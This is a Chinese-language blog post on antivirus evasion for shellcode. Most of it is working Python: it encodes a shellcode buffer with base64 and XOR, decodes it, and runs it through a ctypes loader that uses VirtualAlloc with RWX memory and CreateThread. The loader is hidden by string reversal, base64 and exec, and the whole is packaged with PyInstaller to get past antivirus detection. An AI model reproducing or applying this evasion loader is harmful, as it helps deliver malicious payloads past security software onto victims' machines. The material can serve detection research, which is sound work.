首页 > 系统相关 >【攻防技术系列】shellcode免杀

【攻防技术系列】shellcode免杀

时间:2024-07-18 13:51:22浏览次数:16  
标签:攻防 免杀 kernel32 shellcode base64 windll ctypes buf

接上文 :【攻防技术系列】shellcode初识

二、shellcode简单免杀

2.1 什么是免杀?

免杀技术全称为反杀毒技术(Anti Anti- Virus)简称“免杀“。

它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,包含反汇编、逆向工程、系统漏洞等技术,所以难度很高。

2.2 杀软的分类

病毒查杀一般可以分为三种形式:静态查杀、行为查杀和云查杀:

静态查杀:一般根据特征码识别,然后对病毒进行特征库匹配

行为查杀:动态查杀,主要是对其产生的行为进行检测

云查杀:提取出文件的特征和上传云端,利用云端的大规模病毒库和分析引擎进行检测后返回给客户端,对对应的病毒进行查杀

2.3 如何免杀?

1)针对shellcode部分进行混淆

方式有很多,可以是各种编码加密等,本次是对shellcode buf进行base64编码,然后对每个字符进行异或运算:

# -*- coding: utf-8 -*-
import ctypes
import binascii
import base64

buf =  b""
buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"

# 1.将 shellcode 转换成base64编码
b64 = base64.b64encode(buf)
print(b64.decode())

# 2.遍历每个字符并进行疑惑运算(异或运算密钥:666)
source = ''
for c in b64:
    temp = c ^ 666
    source += str(temp) + "-"
print(source[0:-1])

运行后的格式如下:

解密程序是:


# -*- coding: utf-8 -*-
import base64
import ctypes

source = '693-735-753-693-713-731-722-734-713-729-756-733-713-723-706-680-766-760-712-728-693-689-766-707-763-765-728-704-713-761-764-729-674-726-717-755-716-748-693-716'

b64 = ''

list = source.split('-')
for n in list:
    temp = int(n) ^ 666
    b64 += chr(temp)

buf = base64.b64decode(b64)
print(buf)

2)针对加载器代码进行混淆

将原始加载器代码拼接到一起:

# 原始
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

# 拼接到一起
code = 'ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'

然后对整体进行倒序后再进行base64编码:

# 加载器的混淆
code = 'ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'

reverse_code = code[::-1] #字符串倒置
b64 = base64.b64encode(reverse_code.encode())
print(b64)

效果是:

3)将两部分混淆代码放到一起运行

最终运行流程如下:

对混淆后的加载器代码,进行base64解码后再倒置字符串得到原始加载器代码

利用python exec执行加载器代码部分,执行过程中加载器代码会加载shellcode代码

对混淆后的shellcode部分,遍历编码字符串并每个字符进行异或计算

进行base64解码得到原始shellcode

完整代码是:

# -*- coding: utf-8 -*-
import base64
import ctypes

source = '省略混淆后的shellcode代码...'

b64 = ''

# 遍历编码字符串并每个字符进行异或计算得到原始字符
list = source.split('-')
for n in list:
    temp = int(n) ^ 666
    b64 += chr(temp)

# 进行base64解码得到原始shellcode
buf = base64.b64decode(b64)
print(buf)

# 加载器解密
b64 = b'省略混淆后的加载器代码部分...'

# base64解码后,再倒置字符串得到原始加载器代码
code = base64.b64decode(b64)[::-1]
print(code)

# 利用python exec执行加载器代码部分,执行过程中加载器代码会加载shellcode代码
exec(code)

代码保存为 shellcode_enc.py 通过PyInstaller打包为exe可执行程序。

最后就是免杀效果测试。

标签:攻防,免杀,kernel32,shellcode,base64,windll,ctypes,buf
From: https://www.cnblogs.com/o-O-oO/p/18303236

相关文章

  • 攻防世界WEB(新手模式)3-unserialize3
    进题目,可以发现这是一个反序列化的题目。这段代码定义了一个名为xctf的类,其中包含一个公共属性$flag,初始值为'111',并且定义了一个__wakeup()魔术方法。魔术方法__wakeup()__wakeup()方法在对象反序列化时被调用。这段代码中,当该类对象被反序列化时,将立即调用exit('badreq......
  • 攻防世界supersqli
    supersqliSQL注入的常规思路是判断注入点,尝试后发现注入点为’判断字符数量得出数量为2然后尝试联合注入发现select等字符被过滤,尝试堆叠注入-1';showdatabases;#猜测在supersqli的可能性会大一点(也可以挨个尝试)-1';usesupersqli;showtables;#查询具体表-......
  • Datawhale AI 夏令营 全球Deepfake攻防挑战赛
                    近日有学习多模态技术的需求,碰巧撞上Datawhale的夏令营,初看要求颇高,既要打卡还要分享,心中顿起燥心,转念一想,其实不失为一次磨练机会,为提高自己逃课摆烂的成本,邃开始撰写自己第一篇公开的学习笔记,若多日后看见虎头蛇尾的学习笔记,想必羞愧难当。......
  • Datawhale AI 夏令营 全球Deepfake攻防挑战赛 task2
    数天未见,进步如何?距第一篇笔记发布已过多日,在笔记中立下的flag推动下再次打开CSDN创作中心来记录学习进展。首先让我来对竞赛项目和datawhale提供的baseline做一个简单的梳理:balseline网址:https://www.kaggle.com/code/littlejian/deepfake-ffdv-baseline项目要求:判断一......
  • 【攻防技术系列+权限维持】Linux隐藏技术
    #权限维持#Linux#隐藏一、隐藏文件二、隐藏文件时间戳三、隐藏权限四、隐藏历史操作五、隐藏端口六、隐藏进程一、隐藏文件创建一个隐藏文件:touch.test.txt一般的Linux下的隐藏目录使用命令ls-l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏......
  • 暑期集训shellcode5(手搓机器码)
    拖进ida里面反汇编再让人工智能分析(我是废物)(后来给源码了,直接上源码)#include<string.h>#include<stdio.h>#include<stdlib.h>#include<inttypes.h>#include<capstone/capstone.h>#include<sys/mman.h>intupkeep(){setvbuf(stdin,NULL,_IONB......
  • 【攻防技术系列】MSF进程迁移
    #Msfvenom#进程迁移#pid虚拟机环境搭建【Kali】,192.168.10.131【win7】,192.168.10.134一、MSF进程迁移1.1手动迁移migratepid或者migrate-N应用名字[推荐:explorer.exe]1.2自动迁移setautorunscriptmigrate-nexplorer.exe或者使用默认迁移的setautor......
  • 核客任务实战-WEB服务器攻防篇教程
    前言网站服务器的核客攻防一直是网络安全中最重要的一部分,本书作者在经过数月的努力之后,终于将网站服务器的攻防以深入浅出、简单易懂的方式呈现在您的眼前,让您不必具有高深的网络知识和经验,只要依照本书的操作说明来按图索骥的进行,就能让您充分了解与感受到高手的技巧和行为一......
  • 【攻防技术系列】Msfvenom制作专属Shell
    #Msfvenom场景有时候我们上传Shell到目标主机后,不仅我们自己可以连接,其他用户也可以连接,有时候会导致我们丢失该Shell,甚至该shell被用户发现并查杀,本篇文章我们将介绍如何通过Msfvenom来生成用户自己的专属Shell实验环境【kali(攻击主机)】:192.168.10.131【win7(目标主机)】:19......
  • 【攻防技术系列】shellcode初始
    虚拟机环境搭建【Kali】:192.168.10.131【win】:192.168.10.1shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。但是想要更充分理解什么是shellcode,我们得先了解下可执行程序和shellcode都是怎么运行的。简单来说......